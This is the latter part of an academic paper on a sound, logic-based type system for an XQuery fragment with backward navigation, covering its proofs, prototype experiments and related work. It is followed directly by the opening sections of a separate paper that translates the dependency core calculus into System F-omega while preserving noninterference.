Στ (ϕi). We have [f1 . . . fn] ∈ JRK, and since JRK ⊆ JτKτ , there
must exist a word β1 . . . βn on Σ(τ) which matches τ and verifies
fi ∈ 〈〈form(βi)〉〉 for all i. But since the 〈〈form(α)〉〉 are pairwise
disjoint and we already have fi ∈ 〈〈form(αi)〉〉, the only possibility
is βi = αi. Hence α1 . . . αn matches τ . �

This result yields the following procedure to decide a relation
R <: τ :

1. Compute Σ(τ).

2. For all ϕ in R, compute Στ (ϕ) using a logical solver.

3. Compute regτ (R).

4. Test regexp inclusion between regτ (R) and τ .

3.5 Complexity of the Type System
Let |R| be the number of formulas in R and |τ | the number of unit
types in τ . In terms of complexity, the most expensive step is step
2; all the others are polynomial with respect to |R| + |τ | (due, in
the case of step 4, to the fact that τ is 1-unambiguous; note that the
size of regτ (R) is at worst |R| × |τ |). Step 2 involves a polynomial
(|R| × (|τ | + 1)) number of exponential-time satisfiability tests.
The exponent is linear with respect to the size of the formula tested,
which is at worst one ϕ in R plus all form(u) for u in τ . form(u)
has the same size as the classical binary representation of the regular
tree type u defined in [24]. Thus the cost is simple-exponential
overall.

Notice that this is a worst-case complexity. Our approach is
specifically designed to issue many calls to the exponential-time
logical solver but with logical formulas of small size. Therefore,
in practice the execution time is much less than if we had a
single exponential-time test in terms of the whole problem instance
size. This “divide and conquer” principle is further illustrated and
quantified with concrete examples in Section 4.

3.6 Soundness of the Type System
In this section, we prove the soundness of our type system. Classi-
cally, it relies on a subject-reduction lemma.

The type system we described up to here is for top-level expres-
sions only. Runtime expressions can in addition be focused-tree or
sequence literals. In order to state our lemma, we add the following
four rules:
T-ITEM
f ∈ J(ϕ, u)K

E; Γ ` f : (ϕ, u)

T-VALSEQ
s ∈ JρK

E; Γ ` s : ρ

T-SUB
E; Γ ` e : ρ JρK ⊆ Jρ′K

E; Γ ` e : ρ′

T-VALAXIS
f ∈ J(ϕ, u)K

E; Γ ` f/axis::n : follow-axis(axis, (ϕ, u), n)

As opposed to the others, these rules do not give a way to infer
the type from the environment and the expression, but they will be
used only in the proofs since these expressions cannot appear in
programs.

Our type system thus enriched enjoys the following properties.
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LEMMA 3 (Substitution). Let e be an expression containing a se-
quence variable $v, and suppose E; Γ, $v : ρ1 ` e : ρ2. Let
s ∈ Jρ1K. Then E; Γ ` e [s/$v] : ρ2.

Similarly, let e be an expression containing an item variable $v,
and suppose E; Γ, $v : (ϕ, u) ` e : ρ. Let f ∈ J(ϕ, u)K. Then
E; Γ ` e

[
f/$v
]

: ρ.

Proof. In the case of the sequence variable, the typing derivation
for e directly yields a typing derivation for e [s/$v] by replacing all
occurrences of T-SEQVAR with T-VALSEQ. In the case of the item
variable, we prove the result by induction on the typing derivation
for e and distinguish cases depending on the last rule used. For most
rules, the result is immediate from the induction hypothesis. The
exceptions are T-ITEMVAR, which can be directly replaced with
T-ITEM, T-AXIS, which can be directly replaced with T-VALAXIS,
and T-IFAXIS. In this last case, ρ is of the form ρ1 | ρ2, e is of the
form if non-empty($v/axis::n) then e1 else e2, and we have:

E; Γ, $v : (ϕ ∧ has-axis(k(n)), u) ` e1 : ρ1 (1)
E; Γ, $v : (ϕ ∧ ¬has-axis(k(n)), u) ` e2 : ρ2 (2)

We distinguish two cases:

• if f ∈ 〈〈has-axis(k(n))〉〉, then f ∈ J(ϕ∧has-axis(k(n)), u)K,
since we already know f ∈ J(ϕ, u)K. Thus, by induction
hypothesis and (1) we have:

E; Γ ` e1

[
f/$v

]
: ρ1 (3)

The formula (ϕ ∧ has-axis(k(n))) ∧ ¬has-axis(k(n)) is
trivially unsatisfiable, therefore, according to the definitions,
follow-axis(axis, (ϕ∧has-axis(k(n)), u), n) is not nullable
(see Fig. 8, last rule: the empty sequence is removed from the
result).
Therefore, from T-VALAXIS and (3) we can derive E; Γ `
if non-empty(f/axis::n) then e1

[
f/$v
]
else e2

[
f/$v
]

: ρ1

using T-IFNONEMPTY. This last expression is actually e
[
f/$v
]
,

and since Jρ1K ⊆ Jρ1 | ρ2K we can conclude by T-SUB.
• if f /∈ 〈〈has-axis(k(n))〉〉, then we have:

f ∈ J(ϕ ∧ ¬has-axis(k(n)), u)K.
Thus, by induction hypothesis and (2) we have:

E; Γ ` e2

[
f/$v

]
: ρ2 (4)

We can check that navigate-axis(¬has-axis(k(n)))∧k(n) is
always unsatisfiable. We will not detail it, but intuitively, such a
formula says that, starting from the current node which satisfies
k(n) and following the path corresponding to axis, you will
reach a node such that, by following the same path in reverse
from there, you cannot reach a node satisfying k(n). This is
impossible since in our data model you can always go back to
your starting point by following the same path in reverse.
Therefore, the formula navigate-axis(¬has-axis(k(n))∧ϕ∧
form(u)) ∧ k(n) is also unsatisfiable (by an induction on
the definition of navigate, we can see that it implies the
previous formula). This implies that Jfollow-axis(axis, (ϕ ∧
¬has-axis(k(n)), u), n)K ⊆ J()K. Thus, by T-VALAXIS and
T-SUB we can derive E; Γ ` f/axis::n : (). From there and (4),
we can conclude using T-IFEMPTY and T-SUB.

LEMMA 4 (Subject reduction). Let e be a runtime expression (as
defined in Section 2.3), let E be a well-formed environment defining
all references in e, and suppose we have E; ∅ ` e : ρ. Then either:

• e is a value s and s ∈ JρK, or
• there exists e′ such that e −→ e′, and E; ∅ ` e′ : ρ.

Proof. The proof is by induction on nested contexts, i.e., for expres-
sions of the form E [e′], we assume the lemma is true for e′ in order
to prove it for E [e′].

If e = E [e′] and e′ is not a value, then we can see that in
all cases (T-TREE, T-SEQ, T-FOR, T-IFANY, T-IFEMPTY, T-
IFNONEMPTY6), the typing judgement for e has a typing judgement
for e′ as one of its premises. Then the induction hypothesis tells us
that e′ reduces (since it is not a value) to an expression e′′ satisfying
the same typing judgement, which cannot be ω since ω is not typable.
Thus e reduces by R-CONTEXT to E [e′′], and the typing rule which
typed e also types E [e′′].

We now treat all cases where either e is not of the form E [e′] or
e′ is a value s.

• if e = f , the only possibility is that the judgement is the result
of T-ITEM, thus ρ = (ϕ, u) and f ∈ J(ϕ, u)K. The expression
reduces by R-SINGLETON to [f ].
• if e = s, the judgement must be the result of T-VALSEQ; the

first branch of the alternative in the lemma is then immediate.
• if e = <σ>{s}</σ> : x, the judgement must be the result

of T-TREE; thus ρ = form(x), x = element n {τ} where
n matches σ, and E; ∅ ` s : ρ with ρ <: τ . By induction
hypothesis, s ∈ JρK. Since ρ <: τ , we also have s ∈ JτK↑.
Write s = [(t1, c1) . . . (tn, cn)], and let t = σ[[t1 . . . tn]].
By definition of JτK↑, we have [t1 . . . tn] ∈ JτK, hence [t] ∈
Jelement n {τ}K = JxK. Therefore e reduces by R-TREE to
s′ = [(t,Top)]. Since [t] ∈ JxK, we have s′ ∈ JxK↑, thus
s′ ∈ Jform(x)K; therefore we can concludeE; ∅ ` s′ : form(x)
by T-VALSEQ.
• if e = s1, s2, the judgement must be the result of T-SEQ, so
ρ = ρ1, ρ2 with s1 ∈ Jρ1K and s2 ∈ Jρ2K. e reduces by R-
CONCAT to a value s which is the concatenation of s1 and s2

and therefore is in Jρ1, ρ2K. We conclude by T-VALSEQ.
• if e = for $v in s return e2, the judgement must be the result

of T-FOR and we have E; ∅ ` for $v : ρ1 return e2 : ρ for
some ρ1 such that s ∈ Jρ1K. Then either:

s = ε, in which case ρ = (), e reduces to ε by R-
FOREMPTY, and we can conclude by T-VALSEQ;

or s = f :: s′. We only give a proof sketch in this
case. Since s ∈ Jρ1K, there exist (ϕ, u) and ρ′1 such that
f ∈ J(ϕ, u)K, s′ ∈ Jρ′1K, and J(ϕ, u), ρ′1K ⊆ Jρ1K (standard
regular expression property). Now from the rules for for
expressions we can deduce that there exist ρ′2 and ρ′′2 such
that Jρ′2, ρ′′2 K ⊆ JρK and :

E; $v : (ϕ, u) ` e2 : ρ′2 (1)

and E; ∅ ` for $v : ρ′1 return e2 : ρ′′2 . (2)

e reduces to: e′ = e2

[
f/$v
]
, for $v in s′ return e2 (by

R-FOR). From the substitution lemma and (1) we deduce:

E; ∅ ` e2

[
f/$v

]
: ρ′2 (3)

and we conclude:

(3)

s′ ∈ Jρ′1K
(T-VALSEQ)

E; ∅ ` s′ : ρ′1 (2)
(T-FOR)

E; ∅ ` for $v in s′ return e2 : ρ′′2 (T-SEQ)
E; ∅ ` e′ : ρ′2, ρ

′′
2(T-SUB)

E; ∅ ` e′ : ρ

6 It cannot be T-IFAXIS because that would require $v/axis::n to be typable
with an empty Γ.
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• if e = if non-empty(s) then e1 else e2, the judgement must
be the result of T-IFANY, T-IFEMPTY or T-IFNONEMPTY. In
the case of T-IFANY, the expression reduces to either e1 and
e2, and both ρ1 and ρ2 are such that JρiK ⊆ Jρ1 | ρ2K, so
we can conclude by T-SUB. In the case of T-IFEMPTY and
T-IFNONEMPTY, the result is straightforward.
• if e = f/axis::n, the judgement must be the result of T-

VALAXIS and T-AXIS. The result is mostly straightforward
by a case analysis on the reduction rule which applies; as there
are 16 cases, we leave this as an exercise for the reader.
• e = $v, e = $v/axis::n or e = $v are impossible since they can

only be typed with a non-empty Γ.

We can now prove our main soundness theorem.

THEOREM 1 (Soundness). Let e be an expression and let E be
a well-formed environment comprising definitions for all type
references x appearing in e.

If there exists ρ such that E; ∅ ` e : ρ, then there is a finite
reduction sequence e [s1...sn/$v1...$vn ] −→ · · · −→ s and we have
s ∈ JρK.

Proof. The fact that the derivations are finite is actually independent
of typing: it is a property of the fragment of XQuery we consider.
We can see that rule R-FOR always consumes one element of
the sequence, which is finite, and that all navigation steps in a
given direction (either ‘backward’, involving only 〈2〉 and 〈1〉, of
‘forward’, involving only 〈1〉 and 〈2〉) reduce to navigation steps
which go in the same direction from a node that is strictly further
in that direction. It has to end eventually because focused trees are
finite and acyclic. The other cases either yield a value or yield an
expression smaller than the initial one.

Then the fact that the final result of the reduction sequence
matches the expected type is just a straightforward consequence of
the substitution lemma (for the initial parameter replacement) and
of subject reduction. �

3.7 Extensions to the Core
The XQuery navigational core we defined our type system on is
quite small; we can ask how it would scale to a larger fragment of
the language. In particular, it would be interesting to add function
declaration and application, which raises the question of type
annotations. Function declarations in XQuery are, indeed, type-
annotated, but the annotations are classical XQuery types. These
can be straightforwardly added to our system; however, to fully
benefit from our improvements in precision, it would be more
interesting to specify formula-enriched input and output types for
the functions; this requires a user-friendly syntax in which to write
the annotations, such as Schematron [27] and RelaxNG [13], which
our type language represents an ideal compilation target for.

4. Experimental Results
To evaluate the gain in typing precision and the feasibility of our
approach in practice, we implemented a type-checker prototype.
Our implementation, written in Scala, relies on two external third-
party implementations to which it delegates computations when
performing subtype checks:

1. the Haskell implementation of the syntax-directed algorithm for
inclusion of (word) regular expressions described in [25];

2. and the Java implementation of the logical satisfiability-testing
solver described in [22].

To illustrate the gain in typing precision, we compared our
prototype to implementations of existing techniques. Among the

numerous XQuery implementations available [37], only very few
actually implement XQuery static typing features. We retained the
following:

1. Galax [35]: an open-source implementation, by two authors of
the XQuery recommendation;

2. XQuantum [14]: a commercial implementation, freely available
for one month.

We extensively tested our prototype against those implementa-
tions, and we report below on a few examples. These examples are
kept very simple for the sake of brevity, and for giving an intuition
on how frequent are code patterns for which we can expect a gain in
precision using our approach.

Our prototype takes four parameters as input: an XQuery expres-
sion (such as the one of Listing 1), input and output types, given
under the form of e.g. DTDs, and the name of some element to be
considered as root in the input type.

l e t $v := / s e l f : : ∗ return
<body> {

i f ( $v / descendant : : t ab l e ) then
<div> I npu t conta ins a tab l e .< /div>

else
for $ i in $v / body return

for $ j in $ i / ∗ return $ j
}< /body>

Listing 1. Sample XQuery with Conditional Statement.

The simple XQuery expression shown in Listing 1 is meant to
be applied to some input web page, valid with respect to some type
such as the one illustrated on Listing 2 (intentionally simplified here
for presentation purposes). One might check that any tree generated
by the code snippet of Listing 1 is indeed valid with respect to an
output type such as the one of Listing 3 that defines an even simpler
content model for the body element. This is because the expression
of Listing 1 either generates a div element or copies the contents of
the body in the absence of table elements.

< !ELEMENT html ( head? ,body ) >
< !ELEMENT body ( ( d i v | t ab l e ) +)>

Listing 2. An Excerpt from Input Type (DTD notation).

< !ELEMENT body ( ( d i v ) +)>

Listing 3. An Excerpt from Output Type (DTD notation).

Such a static type check fails with the XQuantum and Galax
implementations that both report false alarms7. Our prototype
succeeds in type-checking the conditional statement of Listing 1,
notably because the negation of the condition is propagated for
typing the “else” clause. This kind of propagation is typically
made possible by the use of recursive logical formulas in our type
language. Our prototype type-checked this example in a total time
of 158 ms, including 2 external calls for checking regular expression

7 XQuantum fails with:
“type error: cannot promote element(div, text()) |
(element(div, xs:string) | element(table, Tr+))+ to
element(div, xs:string)+”
and Galax fails for a very similar example with:
“Expecting type: element div* but expression has type:
(element div | element table)*”.
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inclusion, and 6 calls to the logical solver for a total solver time of
82 ms.

Our approach brings increased typing precision in any situation
where the XQuery expression uses a backward axis (e.g. parent,
ancestor, preceding, etc.) or an horizontal axis (e.g. a navigation
to any preceding or following sibling). In practice, a key-value store
constitutes a very common situation in which horizontal navigation
is essential for accessing the value of a given key (or reciprocally
a key from a given value). For example, the code of Listing 4
is intended to be used with documents valid with respect to the
official Apple DTD that defines 11 elements8 for representing nested
property lists in general, such as ITunes audio libraries in particular.
For a given music library, the code generates a list of referenced
files with the corresponding track number. This list is expected to
be valid with respect to the same DTD.

l e t $r := / s e l f : : ∗ return
<dict> {

for $ i in $r / descendant : : d i c t return
for $ j in $ i / key [ t e x t ( ) =" Locat ion " ] return

l e t $v := $ j / f o l l o w i n g−s i b l i n g : : ∗ [ 1 ] return
l e t $p := $ j / parent : : ∗ return

( $p / preced ing−s ib l ing : : ∗ [ 1 ] , $v )
}< /dict>

Listing 4. Sample XQuery with Sibling Navigation.

The XQuantum implementation does not parse the code of List-
ing 4 because it does not support horizontal/backward axes. The
Galax implementation parses the code but is not capable of inferring
any precise type information for those axes. Interestingly, the static
type-checking of Listing 4 by Galax fails with the error “element
dict but expression has type: element dict of type
xs:untyped” unless we surround the constructed element “dict”
(line 2) with a validate{·} function call. However, in that case
only a dynamic type check (validation) is performed at runtime,
but no static type check is done9. In contrast, the purpose of our
tool is to perform this check at compile-time (once for all) so that
validation of the output can be avoided at runtime. Our tool succeeds
in static type-checking the code of Listing 4 in a total time of 465
ms, including 2 calls for regular expression inclusion and 380 ms
spent in a total of 27 calls to the logical solver.

The pattern “following-sibling::*[1]”, widely found in prac-
tice, simply corresponds to “〈2〉>” in logic.

The purpose of our prototype implementation is also to give
insights on practical costs with current commodity hardware. All
reported evaluations were performed on an Intel Core i7 with 16GB
of RAM running OS X 10.9.4. Consider the example of Listing 5
for which our approach also provides a gain in typing precision,
and whose size is quite representative of a real XQuery function
body size. Our prototype succeeds in analysing the code snippet of
Listing 5 in the presence of input and output types (with 12 and 10
different element names, respectively) in a total time of 1970 ms,
including 13 checks for regular expression inclusion and 1769 ms
spent in a total of 42 solver calls.

Notice that the total time spent in the satisfiability-testing solver
calls accounts for 90% of the total type-checking time. Our prototype
type-checks XQuery expressions of similar or slightly larger size,
in the presence of types of small to moderate size in a few seconds
(same order of magnitude). The important observation is that the
proportion of the time spent in solver calls stays roughly in the 88%
to 96% range of the total analysis time. This confirms in practical

8 http://www.apple.com/DTDs/PropertyList-1.0.dtd
9 This can easily be observed by e.g. generating an element which is not a
member of the output type.

l e t $par ts :=
for $ i in / ∗ return

i f ( $ i / descendant : : pa r t ) then
for $par t in $ i / descendant : : pa r t return
<part> {

$par t / t i t l e ,
$ i / descendant : : author ,
$par t / chapter

}< /part>
else
<part> {

for $ j in $ i / head return $ j / ∗ ,
for $ j in $ i / body return $ j / chapter

}< /part>
return

l e t $bookcontents :=
i f ( count ( $par ts ) =1) then

( for $ i in $par ts return $ i / chapter )
else $par ts

return
<book> {
<title /> ,
( for $ i in $par ts return $ i / author ) ,
$bookcontents

}< /book>
Listing 5. Sample XQuery Function Body.

terms what we know from theory: the dominant cost in the analysis
is the time spent in the logical solver.

5. Related Work
Static typing for XQuery has been standardized by the W3C [17].
The type-system proposed by the W3C has been inspired by the
seminal work from Hosoya and Pierce [23], which is itself based
on finite tree automata containment [24]. The current W3C type-
system [17] has a polynomial-time complexity (except for nested let
clauses, as noticed by Colazzo and Sartiani [15]). A more precise
typing of for loops than what made it into the standard had been
studied by Fernández et al. [19], at a time when XQuery was not yet
a standard but still a proposal in early form [18]. Colazzo et al. [16]
also separately introduced a very similar type system. Both type
systems are more precise than the one of the W3C while having
an exponential-time complexity. Colazzo and Sartiani [15] provide
an analysis that illustrates in which cases these type systems differ
in terms of precision and complexity. None of these type systems
supports non-downward navigation in XML trees, despite it being
an essential part of the XQuery standard, since the very beginning.
This issue, that our proposal addresses, was clearly reported 14
years ago by Fankhauser et al. [18]. Nevertheless, to the best of our
knowledge, this problem has only been indirectly considered so far,
as we review below, with the exception of Castagna et al. [10].

Benedikt and Cheney [1] introduce a type system for the W3C’s
XQuery Update Facility language [11], in which the existence of a
sound type-checker for XPath backward axes is assumed. In follow-
up works, backward axes are either absent (as in e.g. Cheney and
Urban [12]) or they are dealt with using earlier work on XPath
static analysis [21] (as in e.g. Benedikt and Cheney [2]). The
work by Genevès et al. [21] provides an algorithm to decide query
containment for a fragment of XPath with backward axes. The query
containment problem consists in statically checking whether the
set of nodes returned by one XPath query are always contained in
the set returned by another query, for any tree. This work also
uses the logic language for XML trees which we described in
Sec. 3.2.1 and the associated satisfiability solver. However, this paper
is limited to XPath and does not consider XQuery. In comparison,
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we consider a core fragment of XQuery which supports not only
XPath but also control flow operators, and, most importantly, the
element construction. The element construction, unlike what it might
seem at first sight, is far from trivial, as we discuss in Section 3.3.
Furthermore, a fundamental difference with Genevès et al. [21]
is that the values we consider are sequences of nodes (instead of
sets of nodes). Our sequences of nodes may come from different
trees. Nodes have a position in the sequence (used for element
construction) and also retain their original tree context independently
(used for navigation). None of these aspects, which are essential
for XQuery, were considered or discussed in this previous work.
Finally, our type system is based on regular expressions of formulas,
rather than single formulas. The present proposal is a novel approach
which allows us to deal with both the sequence and context aspects,
which, to the best of our knowledge, no other system does.

Calcagno et al. [8] introduced context logic, a generalisation
of separation logic, for reasoning about both (unordered XML)
data and contexts. This reasoning is extended by Gardner et al.
[20] to ordered XML and while-programs over atomic tree updates,
modeled after the DOM tree update library [36]. These works do not
consider high-level language constructs similar to the ones found
in XQuery. They seem however promising for reasoning about low-
level DOM updates, e.g. in JavaScript programs. The non-trivial
connection between context logic and modal logic is explored by
Calcagno et al. [9].

The XML type-checking problem has also been studied for other
domain-specific languages such as CDuce [4], XSLT [28] or with
specific transformers like transducers [30–32]. For a recent survey
on type-checking for XML, see Benzaken et al. [5] and references
thereof.

The language fragment we decided to study formally is inspired
by what can be found in the literature. Other formally-studied
fragments include XQ (‘core XQuery’) [29], recently extended into
XQH by Benedikt and Vu [3] who added higher-order functions, and
µXQ (‘micro XQuery’) [16], extended into µXQ+ (‘mini XQuery’)
by Colazzo and Sartiani [15]. The papers defining XQ and XQH

focus on the semantics of the language and the complexity of
query evaluation. The papers defining µXQ and µXQ+ focus on
typing and correctness. None of these fragments includes axes other
than child and desc. This allows XQ and XQH to have a formal
semantics where items are simply trees without the need for a store,
because it is not possible in these fragments to go from a node to
its parent or siblings. Our XQuery fragment is basically XQ/µXQ+

with the upward and sideways axes added.
Very recently, Castagna et al. [10] have defined a larger fragment

with backward axes, that they translate into an extension of the
CDuce language, which they study. However, neither the precision
nor the computational complexity obtained for typing XQuery are
studied. No implementation is reported.

6. Conclusion
The work presented in this paper is a type-checking system for
XQuery, that takes all navigation expressions properly into account.
This solves an open issue reported 14 years ago [18], and improves
the type-system that finally made it into the standard [17].

Our contribution is fourfold. First, we defined a novel focused-
tree-based operational semantics for a fragment of the XQuery
language; this fragment was kept small here to concentrate on the
core issues but can be easily extended. Second, we formulated the
difficulty of typing XQuery expressions with backward axes in terms
of a discrepancy between the language’s semantics and type algebra,
and demonstrated that this difficulty cannot be overcome without
changing, at least locally, one of the two. Third, we proposed a
logic-based type language to represent the missing information
and showed how to combine it with the existing one. Fourth,

we proposed a sound type-system which offers a net increase in
precision.
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Abstract
The dependency core calculus (DCC) is a framework for studying a
variety of dependency analyses (e.g., secure information flow). The
key property provided by DCC is noninterference, which guarantees
that a low-level observer (attacker) cannot distinguish high-level
(protected) computations. The proof of noninterference for DCC
suggests a connection to parametricity in System F, which suggests
that it should be possible to implement dependency analyses in
languages with parametric polymorphism.

We present a translation from DCC into Fω and prove that the
translation preserves noninterference. To express noninterference in
Fω , we define a notion of observer-sensitive equivalence that makes
essential use of both first-order and higher-order polymorphism. Our
translation provides insights into DCC’s type system and shows how
DCC can be implemented in a polymorphic language without loss
of the noninterference (security) guarantees available in DCC. Our
contributions include proof techniques that should be valuable when
proving other secure compilation or full abstraction results.

Categories and Subject Descriptors D.3.1 [Programming Lan-
guages]: Formal Definitions and Theory—Semantics

General Terms Languages, Security, Theory

Keywords Noninterference, parametricity, dependency, security,
information flow, polymorphism, logical relations, secure compila-
tion, fully abstract compilation.

1. Introduction
The dependency core calculus (DCC) [2] was designed to cap-
ture the central notion of dependency that arises in settings like
information-flow security, binding-time analysis, program slicing,
and function-call tracking. As an example, consider information-
flow security analyses which must prevent the publicly visible out-
puts of a program from revealing information about confidential in-
puts. Suppose we have a program e with the following security type:

e : boolH → boolL

∗ In electronic versions of this paper, we use a blue sans-serif font to typeset
our source language and a bold red serif font to typeset the target. The paper
will be much easier to read if viewed/printed in color.

In this type, the label H indicates high-security or private data that
should not flow to public portions of the program. The label L
indicates low-security or public data. A correct information-flow
analysis must guarantee that the low-security output of the function
does not depend on the high-security input, which means that e must
be a constant function. More generally, we may have programs with
both private and public inputs and outputs, such as e′ below with
the following type:

e′ : boolH × boolL → boolH × boolL

In this case, the low-security output may depend on the low-security
input but not on the high-security input, while the high-security
output may depend on either of the two inputs. In general, labels may
be drawn from a lattice, where the lattice order determines illegal
dependencies: computation lower in the lattice may not depend on
data higher in the lattice. If there are no illegal dependencies, the
program is said to satisfy noninterference.

Abadi et al. formalized and proved noninterference for DCC
using a denotational semantics based on partial equivalence relations
(PERs) indexed by lattice elements. Informally, the relation specifies
an observer-sensitive equivalence, which says that data higher in
the lattice looks indistinguishable to a lower observer. Abadi et
al.’s proof technique suggests a connection to Reynolds’ proof
of parametricity [16] using a PER semantics for the polymorphic
lambda calculus (also known as System F). Such PER semantics are
instances of the logical relations proof method, and many proofs of
noninterference—drawing on Reynolds’ concept of parametricity—
have made use of logical relations [10]. The connection suggests that
it should be possible to use the parametric polymorphism in System
F to express the dependency in DCC. Making this connection
explicit would be of theoretical as well as practical value. As Tse and
Zdancewic [19] point out, a noninterference-preserving translation
from DCC to System F would provide a strategy for implementing
secure information flow and other dependency analyses expressed
in DCC in any language with parametric polymorphism.

Tse and Zdancewic [19] attempted to give a translation from
DCC into System F and prove that noninterference in DCC follows
as a consequence of parametricity in System F. Unfortunately, they
had an error in the proof of a key lemma that says, in essence, that
the translation preserves noninterference. Shikuma and Igarashi
[17, 18] subsequently gave a counterexample to this lemma. They
also gave a noninterference-preserving translation for a language
equivalent to a weaker variant of DCC called DCCpc—for DCC
with protection contexts—whose type system is more liberal than
DCC’s. Moreover, their translation targeted the simply typed λ-
calculus, leaving open the explicit connection between noninterfer-
ence and parametricity.

We provide a translation from DCC to Fω , translating noninter-
ference into parametricity. Our translation and proofs make essential
use of both first-order and higher-order polymorphism and para-
metricity. We formalize a notion of observer-sensitive equivalence
in Fω , which relates protected computations from the perspective of
some observer, and show our translation preserves noninterference.
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The proof that our translation preserves noninterference is es-
sentially a full abstraction result. A translation is fully abstract if
it preserves and reflects contextual equivalence—i.e., if two source
terms cannot be distinguished by source-level contexts if and only
if their translations cannot be distinguished by target-level contexts.
We show preservation of observer-sensitive equivalence, but for the
highest observer—e.g., one that can observe both high- and low-
security outputs—observer-sensitive equivalence corresponds to the
natural contextual equivalence one would get after erasing security
features from the language. As Abadi [1] and Kennedy [11] point
out, fully abstract compilation is vital for secure compilation of
high-level languages.

Contributions The main contributions of our work are:
• the development of a translation from the recursion-free frag-

ment of DCC into Fω (§4) and proof of its correctness (§6);
• the development of an open logical relation for Fω (§5.2);
• the formalization of an observer-sensitive equivalence for Fω

terms of translation type using relational parametricity (§5.3);
• the back-translation from Fω terms of translation type s+ to

DCC terms of type s (§7.1) and a novel logical relation to prove
that the back-translation is well-founded; and
• proofs that our translation preserves and reflects observer-

sensitive equivalence (§7.2).

Our translation is novel and sheds light on the type system for DCC
and shows how DCC can be implemented in a polymorphic lan-
guage without loss of security/noninterference guarantees. Proving
a translation fully abstract is particularly difficult when the target
language is more expressive than the source language, as is the case
in this work. This paper provides new proof techniques that should
be useful for establishing other full abstraction results.

We have elided most proofs and parts of some definitions from
the paper. Detailed proofs and complete definitions may be found in
the online technical appendix [7].

2. Dependency Core Calculus (DCC)
DCC is a call-by-name, simply-typed λ-calculus, based on the
computational lambda calculus of Moggi [13]. DCC incorporates
multiple monads, one for every level of a predetermined information
lattice, used to restrict dependencies in the program. The lattice
order captures permissible dependencies: computation interpreted
in a monad higher in the lattice can depend on data interpreted in a
monad lower in the lattice, but not vice versa. In effect, data higher
in the lattice is held abstract with respect to computation lower in the
lattice. DCC uses this lattice of monads and a nonstandard typing
rule for their associated bind operation to describe the dependency
of computations in a program.

We assume a lattice L with a set of labels L`1 and an ordering
on labels Lv. We write ` v `′ to mean `′ is at least as high as `. The
monadic type T̀ , and the return η` and bind operations are indexed
by a label ` ∈ L`.

Except for the monadic operations, the language is completely
standard. Figure 1 defines the syntax and semantics of DCC. We
define a small-step operational semantics (e 7−→ e′) using evaluation
contexts E to lift the primitive reductions to a call-by-name seman-
tics for the language. We write 7−→∗ for the reflexive, transitive
closure of 7−→. Note that in this call-by-name language, η` e is a
value form. The operation bind x = e1 in e2 evaluates e1 to a value
η` e and then substitutes e for x in e2.

DCC typing judgments have the form Γ ` e : s where the
environment Γ tracks the set of free term variables in scope, along

1 Note that in L`, ` is part of the name for the set, not a meta-variable.

Types s ::= 1 | s1 × s2 | s1 + s2 | s1→ s2 | T̀ s
Values v ::= x | 〈〉 | 〈e1, e2〉 | inji e | λx : s. e | η` e
Terms e ::= v | prji e | case e of inj1 x1. e1 || inj2 x2. e2 |

e1 e2 | bind x = e1 in e2
Eval. Ctxts E ::= [·]S | prji E | case E of inj1 x1. e1 || inj2 x2. e2 |

E e | bind x = E in e

e 7−→ e′

(λx : s. e1) e2 7−→ e1[e2/x]
bind x = η` e1 in e2 7−→ e2[e1/x]

· · ·
Γ ` e : s Term Environment Γ ::= · | Γ , x : s

· · ·
Γ ` e : s

Γ ` η` e : T̀ s

Γ ` e1 : T̀ s1 Γ , x : s1 ` e2 : s2 ` � s2

Γ ` bind x = e1 in e2 : s2

` � s

` � 1

` � s1 ` � s2

` � s1 × s2

` � s2

` � s1→ s2

` v/ `′ ` � s

` � T̀ ′ s

` v `′

` � T̀ ′ s

Figure 1. DCC: Syntax + Dynamic & Static Semantics (excerpts)

with their types. Typing rules for all constructs except η` and bind
are completely standard so we omit them here. The return operation
η` e protects the term e by wrapping it with the label `. These
protected terms can only be unwrapped through a bind operation
bindx=e1 ine2. While e2 may depend on the protected term inside e1,
the results produced by the entire bind expression (of type s2) must
be protected at the label ` or higher. This requirement is captured by
the judgment ` � s2 (pronounced “s2 is protected at `”).

Informally, a type s is protected at ` if expressions of this type
do not leak information to levels lower than (or incomparable to) `.
Since there is only one value of type 1, this type cannot communicate
any information, so it is protected at any `. Pairs are protected if both
components of the pair are protected. Functions are protected if they
produce protected results; the input to a function does not matter.
Finally, there are two cases for ` � T̀ ′ s. First, if s is protected at `,
then the type T̀ ′ s is protected at ` since unwrapping the protected
value gives back an expression that is also protected at `. Second, if
`′ is at least as high as `, then since the expression of type T̀ ′ s is
protected already protected at the higher label `′, it is also protected
at the lower label `. Note that sum types are never protected; even
the simplest sum type 1+ 1 leaks information, and must be wrapped
in a monadic type to be protected.

For use in examples, we encode bool as the sum 1 + 1, true as
inj1 〈〉, false as inj2 〈〉, and if using a case expression.

To see how DCC protects information, consider this example:
λx :TH bool. bind y = x in y

This example is ill-typed. We cannot simply return y since it is
of type bool, which is not protected at H. Instead, the typing rule
for bind forces us to first protect the result. For example, we could
instead return ηH y. This keeps the protected inputs to the function
from being leaked.

3. Background and Main Ideas
We examine why the translation given by Tse and Zdancewic fails
to preserve noninterference and describe the key ideas behind our
translation. Below, we write s+ to denote the translation of the DCC
type s.

Preserving noninterference Tse and Zdancewic translate the
monadic type as follows:

(T̀ s)+ = α`→ s+

The translation of all other types is defined by structural recursion.
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As mentioned in §1, the key lemma we must prove about our
translation is that it preserves DCC’s noninterference guarantee.
Let us take a closer look at how noninterference is expressed in
DCC and how this type translation captures noninterference at the
target level.

Consider the type THbool. In DCC, this type represents a boolean
value that is visible only to H computations; L computations must
treat such values as opaque and hence cannot distinguish between
true and false at the type THbool. DCC formalizes this situation using
an observer-indexed logical relation that says these two values are
equivalent at L (written ηH true ≈L ηH false : TH bool) but not at
H. Hence, the relation ≈L relates every possible pair of boolean
expressions at the type TH bool, while the relation ≈H at the same
type only relates boolean expressions that evaluate to the same
value. We will refer to this relation as observer-sensitive equivalence:
we write e1 ≈ζ e2 : s to mean that terms e1 and e2 of type s are
equivalent from the perspective of an observer at level ζ in the
lattice.2

Intuitively, we must show that if e1 ≈ζ e2 : s and e1 and e2 trans-
late to target terms m1 and m2, respectively, then m1 ≈ζ m2 : s+.
The key is to formalize the target-level ≈ζ relation in terms of
the standard logical relation for System F (or Fω), which is not
indexed by an observer. To see how Tse and Zdancewic do this,
consider the type TH bool again, which they translate to the target
type αH→ bool. This translation uses abstract types α` to encode
each element ` in the source-level lattice. This simulates DCC’s
observer-sensitive equivalence by requiring, in essence, that an L-
observer not have access to any terms of type αH, which means that
any function of type αH→ bool can never be applied. Hence, the
